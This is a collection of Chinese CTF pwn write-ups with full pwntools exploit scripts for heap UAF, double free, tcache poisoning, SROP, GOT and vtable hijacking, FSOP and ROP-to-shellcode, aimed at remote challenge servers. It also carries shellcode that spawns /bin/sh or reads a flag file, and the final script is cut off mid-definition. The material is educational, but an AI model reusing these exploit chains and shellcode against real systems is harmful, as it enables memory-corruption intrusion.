malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(1, 0x10) show(1) libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780 print_leaked('libc_base', libc.address) for i in range(15): create(i, 0x20) for i in range(15): delete(i) delete(0) # double free create(0, 0x20) edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ for _ in range(16): create(1, 0x20) show(1) stack_addr = u64(io.recvline(False).ljust(8, b'\x00')) print_leaked('stack_addr', stack_addr) for i in range(15): create(i, 0x70) for i in range(15): delete(i) delete(0) # double free create(0, 0x70) edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr for _ in range(16): create(1, 0x70) # gdb.attach(io, 'b *$rebase(0x18F2)') edit(0, 0x70, asm(f""" mov rax, 0x67616c662f push rax mov rax, __NR_open mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rax, __NR_read mov rdi, 3 mov rsi, rsp mov rdx, 0x50 syscall mov rax, __NR_write mov rdi, 1 mov rsi, rsp mov rdx, 0x50 syscall """)) edit(1, 0x70, flat([ libc.search(asm('pop rdi;ret')).__next__(), e.address + 0x5000, libc.search(asm('pop rsi;ret')).__next__(), 0x1000, libc.search(asm('pop rdx;pop r12;ret')).__next__(), 7, 0, libc.sym['mprotect'], e.address + 0x56c0 ])) io.interactive()stack看起来是堆溢出但其实会栈迁移到堆上，溢出改返回地址爆破 PIE 到 magic。由于随机数种子来自已知时间，所以可以预测随机数，逆运算得到 PIE 基地址。最后栈迁移到 bss 段，利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 open、execve 等系统调用，考虑 openat 替代。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e']) binary = './Stack_Over_Flow' e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) while True: global io, elf_base io = connect('45.40.247.139', 30871) libc_lib = CDLL('/usr/lib/libc.so.6') libc_lib.srand(libc_lib.time(0)) libc_lib.rand() % 5 libc_lib.rand() % 5 key = libc_lib.rand() % 5 try: io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13') if b'magic' not in io.recvuntil(b':'): io.close() continue e.address = (int(io.recvline(False)) // key) - 0x16b0 break except Exception: io.close() continue context.log_level = 'debug' print_leaked('elf_base', e.address) syscall = e.address + 0x000000000000134f fake_stack = e.bss(0x800) # stack mig frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = fake_stack frame.rdx = 0x800 frame.rip = syscall frame.rsp = fake_stack # gdb.attach(io, 'b *$rebase(0x16A4)') io.sendafter(b'luck!\n', flat([ cyclic(0x100), 0, syscall, 0, syscall, bytes(frame) ])) pause() io.send(cyclic(0xf)) # mprotect frame = SigreturnFrame() frame.rax = 10 frame.rdi = fake_stack & ~0xfff frame.rsi = 0x1000 frame.rdx = 7 frame.rip = syscall frame.rsp = fake_stack + 0x200 xor_rax_pop_rbp = e.address + 0x00000000000016a0 payload = flat([ 0, xor_rax_pop_rbp, 0, syscall, 0, syscall, bytes(frame) ]) payload = payload.ljust(0x200, b'\x00') payload += flat([ 0, fake_stack + 0x300 ]) payload = payload.ljust(0x300, b'\x00') payload += asm(""" push 0x50 lea rax, [rsp - 0x60] push rax mov rax, 0x67616c662f push rax push __NR_openat ; pop rax xor rdi, rdi push rsp ; pop rsi xor rdx, rdx xor r10, r10 syscall push rax push __NR_readv ; pop rax pop rdi popf push rsp ; pop rsi push 1 ; pop rdx syscall push __NR_writev ; pop rax push 1 ; pop rdi syscall """) pause() io.send(payload) pause() io.send(cyclic(0xf)) io.interactive()mvmps参考软件系统安全赛 - vm。00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49 00000000 { 00000000 char *vmcode; 00000008 int pc; 0000000C int field_C; 00000010 __int64 regs[6]; 00000040 int64_t sp; 00000048 BYTE field_48; 00000049 };SUB SP 时栈指针下溢，PUSH 和 POP 操作变成 ELF 几乎任意地址读写。不是 PIE，劫持 GOT 即可。读取 read@got 低 4 字节，减去偏移得到 system 地址，将其写回 read@got 低 4 字节，内存中写入 "sh"，执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './vvmm' # io = process(binary) io = connect('45.40.247.139', 15101) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE') def INST(opcode: int, type: int, *args) -> bytes: header = p8(opcode << 2 | type) if type == 0: return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff) if type == 1: return header + p8(args[0]) if type == 2: return header + p8(args[0]) + p8(args[1]) if type == 3: return header + p8(args[0]) + p32(args[1]) raise ValueError("Invalid type.") io.sendafter(b'Please input your opcodes:\n', b''.join([ INST(0x24, 0, 0x418), # SUB SP (to read@got) INST(0x20, 1, 0), # read from elf (read@got) INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system) INST(0x1f, 1, 0), # write to elf (system) INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh") INST(0x25, 0, 0x30), # ADD SP (arbitrary mem) INST(0x1f, 1, 1), # write to elf ("sh") INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem) INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh") ])) io.interactive()
源：MoeCTF 2025 call_it official writeup其实 JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提取出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提取出了：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力。它与栈无关，与函数返回无关。这就是 JOP。希望读者能通过本文从 ROP 流畅过渡到更广义的 JOP 概念。以上只是我个人极不严谨的理解，可能和学术界普遍的描述有较大偏差，仅供参考。
struct PlayBook { int flags; // &1=used, &2=cmd, &4=note int sub_ids[10]; char note[0x200]; // 0x2c };nesting_depth 在结束后不会置零，创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中，且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量，与暂存 id 数组低地址相邻。（这里的变量分配很反常，大概是用了在栈上的结构体，强制改变了栈上变量布局。）这样可以改 buf_size 为一个 index 值，从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。Exp:# 1 ~ 575 (576) for _ in range(0x120): io.sendlineafter(b'5. Quit\n', b'2') # new io.sendlineafter(b'entry.\n', f'''STEP note: sh ENDSTEP '''.encode()) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'569') # id: 569 (570) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'571') # id: 571 (572) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'573') # id: 573 (574) io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571 io.sendlineafter(b'entry.\n', f'''STEP STEP ''') io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574 io.sendlineafter(b'entry.\n', f'''ENDSTEP ENDSTEP STEP STEP note: ''' + '\x03' * (0x204 + 40) + 'sh\n')我没有精确计算应该先分配多少 playbook，exp 里 0x120 之类的数字没有特别含义。不成对的 STEP、ENDSTEP 也许只需要一个，解题时我求稳将 nesting_depth 设置为 2。
glibc 2.39 菜单堆。逆向得出堆块结构体：struct Member { int64_t backup_size; char* backup; char name[0x20]; char department[0x18]; int32_t level; int32_t index; int64_t create_time; uint64_t checksum; };写出各功能交互模板：itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int): backup(index) io.sendlineafter(b'> ', b'1') def backup_edit(index: int, data: bytes): backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'1') io.sendafter(b'global data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'3') def global_xor(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'4')global_Hash+Append 时可能 off_by_one 写入 ']'：global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)])) global_xor()这个不是重点，重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr，可以有 UAF。于是可以通过让 unsorted bin chunk bk 与 backup 重合以泄露基址以及构造假堆块：crew_add(0, b'a', b'b', 0x500, b'1') # libc leak crew_add(1, b'a', b'b', 0x20, b'1') # padding crew_delete(0) # leak libc crew_add(0, b'a', b'b', 0) # padding crew_add(2, b'2222', b'2222', 0) # unsorted -> backup libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000 print_leaked('libc_base', libc.address) crew_add(3, b'2222', b'2222', 0) # unsorted -> backup heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0 print_leaked('heap_base', heap_base)Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' # io = process(binary) io = connect('39.106.16.204', 46959) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # gdb.attach(io, 'set exception-verbose on') def _manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" _manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) if backup is not None: io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): _manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): _manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): _manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): _manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): _manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def _backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int) -> bytes: _backup(index) io.sendlineafter(b'> ', b'1') io.recvuntil(b'Backup @ ') io.recvuntil(b': ') return io.recvline(False) def backup_edit(index: int, data: bytes): _backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): _backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'1') io.sendafter(b'data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'3') def global_xor(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'4') def exitit(): io.sendlineafter(b'Choice: ', b'5') crew_add(0, b'a', b'b', 0x500, b'1') # libc leak crew_add(1, b'a', b'b', 0x20, b'1') # padding crew_delete(0) # leak libc crew_add(0, b'a', b'b', 0) # padding crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000 print_leaked('libc_base', libc.address) crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup heap_addr = u64(backup_view(3).ljust(8, b'\x00')) heap_base = heap_addr - 0x8b0 print_leaked('heap', heap_addr) from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000) payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0) crew_add(4, b'a', b'b', 0x500, b'1') # unsorted crew_add(5, b'a', b'b', 0x500, b'1') # padding crew_add(6, b'a', b'b', 0x500, b'1') # unsorted crew_add(7, b'a', b'b', 0x500, payload) # padding crew_delete(4) crew_delete(6) crew_add(4, b'a', b'b', 0x260, b'1') crew_add(6, b'a', b'b', 0) # gdb.attach(io, '') crew_add(8, b'a', b'b', 0) # controller crew_add(9, b'a', b'b', 0x420, b'1') crew_add(10, b'a', b'b', 0x20, b'1') # victim backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0)) crew_add(11, b'a', b'b', 0x3f0, b'1') # padding crew_delete(1) crew_delete(10) backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next crew_add(12, b'PwnRiK', b'L-team', 0) crew_add(13, p64(heap_addr + 3904), b'PWNED', 0) exitit() hos.bomb(io) io.interactive()
CTFers题目链接程序有三个功能，增删查。新增时暂存名字用到了 name_buf，查询时有一个虚函数调用 Binary::info 或 Web::info。另外还有一个隐藏后门 0xdeadbeef，可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE，那么当然可以将地址改到 name_buf，从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。Binary 和 Web 继承自 CTFer，std::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info，这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定，但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此：004025f4 mov rdx, qword [rax] 004025f7 mov rdx, qword [rdx] 004025fa mov rdi, rax 004025fd call rdxCTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器，但我们可以通过在 new 前后断点，查看新增堆块的内容来反推其结构。以下是用 C 语言表示的 CTFer 对象：（符号名仅作参考）struct CTFer { void (**vtable)(struct CTFer *); int64_t points; struct std_string { char *base; size_t length; union { size_t capacity; char buffer[16]; }; } nickname; };当 length < 16 时 buffer 复用 capacity 内存而非单独 malloc，不过这并不重要。我们可以先恢复正确的虚函数表，然后修改 nickname base 指向 GOT 项，修改适当的 length，从而通过 print_info 泄露基址。获得各个库的基址绕过 ASLR 后解法就十分自由了，只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象，也就是可控的 name_buf，可依此选择 gadget。这里我们选用来自 libstdc++ 中的一个 COP gadget：0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];然后只需要在 name_buf 上写 ROP 链即可。Exp:from pwn import * context(os='linux', arch='amd64') e = ELF('./ctfers') io = ... libc = ELF('./libc.so.6', checksec=False) def add(fake_object: bytes): io.sendlineafter(b'Choice > ', b'0') io.sendlineafter(b'Name > ', fake_object) io.sendlineafter(b'Points > ', b'0') io.sendlineafter(b'- 1 > ', b'0') def show_info(): io.sendlineafter(b'Choice > ', b'2') def backdoor(address: int): io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode()) io.sendline(str(address).encode()) vtable = 0x408C98 cout = 0x409080 libc_start_main_got = e.got['__libc_start_main'] input_buf = e.sym['name_buf'] # 还原虚函数表指针，改 std::string 头指针为 got 项 add(cyclic(16) + p64(vtable) + p64(0) + p64(libc_start_main_got) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libc io.recvuntil(b'I am ') libc.address = u64(io.recv(8)) - 0x274c0 - 0x2900 success(f'libc_base: 0x{libc.address:x}') add(cyclic(16) + p64(vtable) + p64(0) + p64(cout) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libstdc++ io.recvuntil(b'I am ') libstdcxx_base = u64(io.recv(8)) - 0x223370 success(f'libstdcxx_base: 0x{libstdcxx_base:x}') # mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30]; magic = libstdcxx_base + 0x0000000000113764 leave = 0x0000000000402a63 pop_rax = libstdcxx_base + 0x00000000000da536 pop_rbp = libstdcxx_base + 0x00000000000aafb3 one_gadget = libc.address + 0xebd43 add(cyclic(16) + p64(input_buf + 8 + 16) + p64(magic) + p64(pop_rax) + p64(0) + p64(pop_rbp) + p64(0x4093a0) + p64(one_gadget) + p64(leave)) show_info() # 栈迁移 ROP io.interactive()Payload 有时会被空白字符截断，可能需要多次尝试。另外，类似虚函数表劫持的利用手法一般需要通过 UAF 构造重叠堆块来控制虚函数表指针。本题在删除 CTFer 时仅调用了 std::vector#remove(...)，由于 ctfers 中存储的是 CTFer *，remove 并不会调用 CTFer 对象的析构器也不会释放其内存。题目初版有 delete 也有 UAF，后简化为给一个后门函数并关闭 PIE。miniLCTF{In_real_scenarios_you_need_a_UAF}MiniSnake题目链接程序存在后门函数且没有开启 PIE。漏洞点是 events_handler 线程同时处理撞墙和得分，但是用于闪烁显示“GOT POINT!”的 thrd_sleep 会阻塞线程从而使 events_handler 有可能错过撞墙事件处理。通过源码可以看出地图存储在栈上，蛇身也在显示前先写入地图中。如果开始游戏前选择“Numeric skin”则可以向栈上写入任意数值，在得分之后立即撞墙则可以穿墙越界写入。需要找到合适的种子生成合适的初始蛇或食物从而写入后门函数地址。得到合适的种子很简单，只需要照着程序逻辑写一个爆破程序即可。#include <limits.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> int main(void) { for (int seed = 0; seed < INT_MAX; ++seed) { srandom(seed); if (random() % (UINT8_MAX - 1) + 1 == 0x40 && random() % (UINT8_MAX - 1) + 1 == 0x16 && random() % (UINT8_MAX - 1) + 1 == 0x4D) { printf("FOUND SEED: %d\n", seed); } } return 0; }但是返回地址在地图外的哪里？还得小心 stack canary。如果动态调试寻找的话会十分折磨。可以考虑用 keypatch 等工具修改程序中地图显示的高度从而快速定位返回地址的位置。（也可考虑修改源码再编译）.text:0000000000401DDB .text:0000000000401DDB loc_401DDB: ; CODE XREF: draw+83↑j .text:0000000000401DDB cmp [rbp+var_18], 11h ; Keypatch modified this from: .text:0000000000401DDB ; cmp [rbp+var_18], 0Fh .text:000000000040249F mov edi, 14h ; int .text:000000000040249F ; Keypatch modified this from: .text:000000000040249F ; mov edi, 12hPatch 后再次启动程序就可以看到效果（可能需要调整下终端宽高）：*--------------------------------* | | | aa | | ac | | b49182 | | | | |14 3 | | | 10 | | ca | | ab| | 1b de | | 98 | | ad be | | | | | | | |d0eb1212ff7f f3584b5c7e1f54| |20ec1212ff7f a32640 | *--------------------------------*可以看到返回地址就在右下角，其上是 stack canary。合适的种子可以是 16183281，此时初始蛇身就是后门函数地址。接下来穿墙到达返回地址的位置按 Q 退出即可。记下拐弯时的坐标方便攻击远程环境。miniLCTF{secret_destination_behind_walls}
EzDB程序模拟了一个数据库，其中每个表的数据从高地址向低地址增长，低地址存放数据的堆上偏移。每个表总长 1024 字节，每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值，从而修改块大小，得到堆上无限长溢出读写。#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './db' # io = process(binary) io = connect('61.147.171.106', 61212) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) # gdb.attach(io, '') def create(index: int): io.sendlineafter(b'>>> ', b'1') io.sendlineafter(b'Index: ', itob(index)) def remove(index: int): io.sendlineafter(b'>>> ', b'2') io.sendlineafter(b'Index: ', itob(index)) def insert(index: int, length: int, content:bytes) -> int: io.sendlineafter(b'>>> ', b'3') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Length: ', itob(length)) io.sendafter(b'Varchar: ', content) io.recvuntil(b'slot id: ') return int(io.recvline(False).decode()) def get(index: int, slot: int) -> bytes: io.sendlineafter(b'>>> ', b'4') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Slot ID: ', itob(slot)) io.recvuntil(b'Varchar: ') return io.recvline(False) def edit(index: int, slot: int, length: int, content: bytes): io.sendlineafter(b'>>> ', b'5') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Slot ID: ', itob(slot)) io.sendlineafter(b'Length: ', itob(length)) io.sendafter(b'Varchar: ', content) def exitit(): io.sendlineafter(b'>>> ', b'6') for i in range(10): create(i) for i in range(1, 10): remove(i) insert(0, 1021, cyclic(1020) + b'\x00') rec = get(0, 0) libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0 success(f'libc_base: 0x{libc.address:x}') tcache_key = u64(rec[1037 : 1037 + 8]) success(f'tcache_key: 0x{tcache_key:x}') from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000) payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0) rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1))) edit(0, 0, 7613 + 8, rec[:7613 + 8]) create(1) insert(1, len(payload), payload) create(2) insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0)) exitit() hos.bomb(io) io.interactive()smart_door_lock 复现分析题目附件题目给出了启动脚本和 Dockerfile，一个根目录 cpio 镜像，一个内核镜像。打开 rootfs.cpio，在 /init 里有nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null & nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &。其中 mosquitto 是 MQTT 协议的 message broker，是一个用于物联网设备的消息代理服务，和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的，也没法直接用 pwntools。/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock#!/bin/bash PROCESS_NAME="mqtt_lock" while true; do if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 & fi sleep 1 done &，而 mqtt_lock 就是我们要逆向分析的程序。MQTT 协议...连接 / 利用首先要把设备的证书取出来，在 /etc/mosquitto/certs，然后用 Python paho 连接设备。import paho.mqtt.client as mqtt import ssl client = mqtt.Client() client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS) client.tls_insecure_set(True) client.connect('localhost', 8883) client.loop_start()但是比赛期间一直不知道该订阅什么 topic，mqtt_lock 又是个静态链接无符号的程序，逆向起来实在难绷。topic 一般有斜杠 /，我翻遍所有的字符串也没找到像 topic 的，于是就先去做其他题了。订阅 # 就是订阅所有 topic，但对于这道题也没什么用，这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN，然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。之后就是增删改查堆利用了。待续...
签个到吧执行 shellcode 前清空了寄存器上下文，但在 rdi 保留了 shellcode 基址，于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0)，getshell。io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')好easy嘅题啦VM 指令 heap 中可以操作堆快，alloc free print input。其中 free 后未置空堆块指针，存在 UAF。首先申请 0x500 大堆块，在其中提前写入之后用到的 shellcode：open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块，获取其中残留的 tcache next，获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定，再利用 UAF double free tcache chunk，tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处，写入ROP 链 mprotect 修改页权限并 ret2shellcode。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' p = process(binary) # io = connect('127.0.0.1', 9999) io = connect('node.vnteam.cn', 46995) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) io.sendlineafter(b'create? ', b'1\n') # io = connect('127.0.0.1', 9999) io = connect('node.vnteam.cn', 46995) s = 0.5 def heap(): io.sendline(b'heap 0 0') sleep(s) def alloc(size: int): io.sendlineafter(b'Heap operate: ', b'alloc') io.sendlineafter(b'Size: ', itob(size)) sleep(s) def free(): io.sendlineafter(b'Heap operate: ', b'free') sleep(s) def printit(): io.sendlineafter(b'Heap operate: ', b'print') sleep(s) def input(content: bytes): io.sendlineafter(b'Heap operate: ', b'input') io.sendafter(b'Input: ', content) sleep(s) def AveMujica(): io.sendline(b'AveMujica 0 0') 